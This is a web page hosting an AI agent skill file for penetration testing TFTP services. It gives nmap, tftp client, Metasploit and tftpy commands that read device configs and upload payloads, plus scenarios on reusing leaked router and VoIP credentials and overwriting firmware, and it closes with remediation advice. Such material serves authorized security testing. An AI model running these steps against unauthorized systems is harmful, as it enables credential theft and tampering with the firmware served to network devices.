Pentesting tftp

From xalgorix/xalgorix · View interactive version

Pentesting tftp is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing TFTP services (default port 69/UDP) for unauthenticated file read/write, default path enumeration (no directory listing), exposure of device configuration files and ROM/firmware images, and arbitrary upload during authorized engagements.

How to use this skill

Skill file

Pentesting TFTP (port 69/UDP)

When to Use

Quick Enumeration

# UDP service detection + path brute force (no directory listing exists)
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>

# Manual client probe
tftp <IP>
tftp> get <known_filename> /tmp/out
tftp> put /tmp/test.txt test.txt    # test write access

# Shodan-style discovery marker
#   port:69

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate (service + default paths)

nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
# Augment with a custom filename list (device-specific names)
nmap -sU -p69 --script tftp-enum --script-args tftp-enum.filelist=tftplist.txt <IP>

Step 2: Access (read/write — no auth step)

# Read a known/guessed file
tftp <IP>
tftp> mode octet            # binary mode for ROM/firmware images
tftp> get running-config /tmp/running-config
tftp> get SEP001122334455.cnf.xml /tmp/phone.xml

# Test write access
tftp> put /tmp/test.txt test.txt

Step 3: Exploit / Extract (download configs, upload payloads)

# Metasploit transfer utility (download or upload)
msfconsole -q -x 'use auxiliary/admin/tftp/tftp_transfer_util; set RHOSTS <IP>; set RPORT 69; set FILENAME running-config; set ACTION Download; run; exit'

# Python (tftpy) for scripted download/upload
python3 - <<'PY'
import tftpy
c = tftpy.TftpClient("<IP>", 69)
c.download("running-config", "/tmp/running-config", timeout=5)
c.upload("payload.bin", "/local/path/payload.bin", timeout=5)
PY

Step 4: Post-access / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| UDP/69, RFC 1350 | Lightweight lockstep file transfer over UDP; RRQ/WRQ/DATA/ACK/ERROR opcodes. |

| No authentication | Anyone with network reach can read/write within the TFTP root. |

| No directory listing | File names must be known or brute-forced (tftp-enum). |

| transfer mode | netascii vs octet (binary) — use octet for firmware/ROM images. |

| Device provisioning | VoIP phones, routers, and PXE clients fetch configs/images via TFTP. |

| Writable root | Allows config/firmware overwrite and payload staging. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| nmap NSE | tftp-enum brute-forces default/known file paths over UDP. |

| tftp (client) | Manual get/put, mode selection. |

| Metasploit | auxiliary/admin/tftp/tftp_transfer_util for scripted download/upload. |

| tftpy (Python) | Programmatic download/upload and access testing. |

| atftp / tftp-hpa | Alternative CLI clients with verbose/scriptable transfers. |

Common Scenarios

Scenario 1: Cisco VoIP config disclosure

nmap --script tftp-enum and guessing SEP<MAC>.cnf.xml retrieves a phone config containing the provisioning server and credentials, reused to access the call manager.

Scenario 2: Router running-config leak

tftp <IP>; get running-config downloads a device config with Type-7 passwords and SNMP community strings, decoded and reused against the device's SSH/SNMP interfaces.

Scenario 3: Writable TFTP root

tftp> put payload.bin succeeds, demonstrating that an attacker could overwrite firmware/config images served to provisioned devices — flagged as high impact.

Output Format

## TFTP Finding

**Service**: TFTP
**Port**: 69/udp
**Severity**: High
**Finding**: Unauthenticated read (and write) access exposing device configuration
**Evidence**:
  - nmap tftp-enum found "running-config", "startup-config"
  - tftp get running-config -> contained enable secret + SNMP community "private"
  - tftp put test.txt succeeded (writable root)
**Impact**: Unauthenticated attackers can read device credentials/topology and overwrite served configs/firmware.
**Recommendation**:
  1. Restrict TFTP to provisioning VLANs with ACLs; block UDP/69 from untrusted networks.
  2. Make the TFTP root read-only and serve only non-sensitive files.
  3. Use secure provisioning (HTTPS/SCP) and encrypt/rotate any credentials exposed in configs.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.